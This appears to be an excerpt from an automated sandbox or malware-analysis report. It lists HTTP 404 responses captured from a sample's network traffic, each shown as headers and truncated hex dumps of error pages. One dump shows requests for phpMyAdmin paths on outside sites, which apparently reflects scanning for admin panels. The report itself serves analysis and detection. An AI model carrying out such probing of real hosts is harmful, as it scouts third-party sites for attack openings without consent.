20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 0d 0a 3c 68 31 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 50 6c 65 61 73 65 20 74 72 79 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 3a 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e 4d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 64 72 65 73 73 20 64 69 73 70 6c 61 79 65 64 20 69 6e 20 74 68 65 20 61 64 64 72 65 73 73 20 62 61 72 20 6f 66 20 79 6f 75 72 20 62 72 6f 77 73 65 72 20 69 73 20 73 70 65 6c 6c 65 64 20 61 6e 64 20 66 6f 72 6d 61 74 74 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 49 66 20 79 6f 75 20 72 65 61 63 68 65 64 20 74 68 69 73 20 70 61 67 65 20 62 79 20 63 6c 69 63 6b 69 6e 67 20 61 20 6c 69 6e 6b 2c 20 63 6f 6e 74 61 63 74 0d 0a 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 74 6f 20 61 6c 65 72 74 20 74 68 65 6d 20 74 68 61 74 20 74 68 65 20 6c 69 6e 6b 20 69 73 20 69 6e 63 6f 72 72 65 63 74 6c 79 20 66 6f 72 6d 61 74 74 65 64 2e 0d
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidateContent-Length: 77562Content-Type: text/html; charset=UTF-8Date: Wed, 20 Dec 2023 02:13:25 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: RT1jeDk7/Kw16VR0sData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:25 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-127.ec2.internalX-Request-Id: 933c0b58-3204-45a9-914c-b4371deb53fdData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Server: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Wed, 20 Dec 2023 02:13:17 GMTConnection: closeContent-Length: 53047Data Raw: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 65 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 0d 0a 0d 0a 3c 21 2d 2d 20 34 30 34 3b 68 74 74 70 3a 2f 2f 63 6f 70 79 73 65 74 2e 63 6f 6d 3a 38 30 38 30 2f 69 6e 64 65 78 2e 69 6d 6c 3f 50 41 54 48 5f 31 3d 70 68 70 4d 79 41 64 6d 69 6e 26 46 55 4c 4c 5f 50 41 54 48 3d 70 68 70 4d 79 41 64 6d 69 6e 3a 70 68 70 4d 79 41 64 6d 69 6e 20 2d 2d 3e 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 20 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 0d 0a 0d 0a 20 20 20 20 0d 0a 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 63 6f 70 79 73 65 74 2e 63 6f 6d 2f 22 20 3e 0d 0a 20 20 0d 0a 0d 0a 0d 0a 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 0d 0a 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 0d 0a 0d 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 34 2e 33 2e 30 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 72 69 6e 74 6f 72 64 65 72 2e 77 6f 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2f 63 6f 6d 6d 6f 6e 2e 63 73 73 3f 76 3d 33 2e 31 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 70 72 69 6e 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 72 69 6e 74 6f 72 64 65 72 2e 77 6f 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2f 73 79 73 74 65 6d 2f 32 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidateContent-Length: 77562Content-Type: text/html; charset=UTF-8Date: Wed, 20 Dec 2023 02:13:25 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: PEsYK3ST/S0xXtKo0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:25 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-181.ec2.internalX-Request-Id: 80a59ad8-9b8d-4853-a1ee-c6c561cdb5b1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:25 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Content-Language: enData Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 30 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 38 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 3e 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlserver: Microsoft-IIS/7.5x-powered-by: ASP.NETdate: Wed, 20 Dec 2023 02:13:24 GMTcontent-length: 1635Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 57 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 33 70 74 2f 31 35 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 0d 0a 3c 68 31 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 50 6c 65 61 73 65 20 74 72 79 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 3a 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e 4d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 64 72 65 73 73 20 64 69 73 70 6c 61 79 65 64 20 69 6e 20 74 68 65 20 61 64 64 72 65 73 73 20 62 61 72 20 6f 66 20 79 6f 75 72 20 62 72 6f 77 73 65 72 20 69 73 20 73 70 65 6c 6c 65 64 20 61 6e 64 20 66 6f 72 6d 61 74 74 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 49 66 20 79 6f 75 20 72 65 61 63 68 65 64 20 74 68 69 73 20 70 61 67 65 20 62 79 20 63 6c 69 63 6b 69 6e 67 20 61 20 6c 69 6e 6b 2c 20 63 6f 6e 74 61 63 74 0d 0a 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 74 6f 20 61 6c 65 72 74 20 74 68 65 6d 20 74 68 61 74 20 74 68 65 20 6c 69 6e 6b 20 69 73 20 69 6e 63 6f 72 72 65 63 74 6c 79 20 66 6f 72 6d 61 74 74 65 64 2e 0d 0a 3c 2f 6c 69 3e 0d 0a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:25 GMTServer: ApacheVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:25 GMT; Max-Age=1209600; path=/Cache-Control: privateX-Host: blu111.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 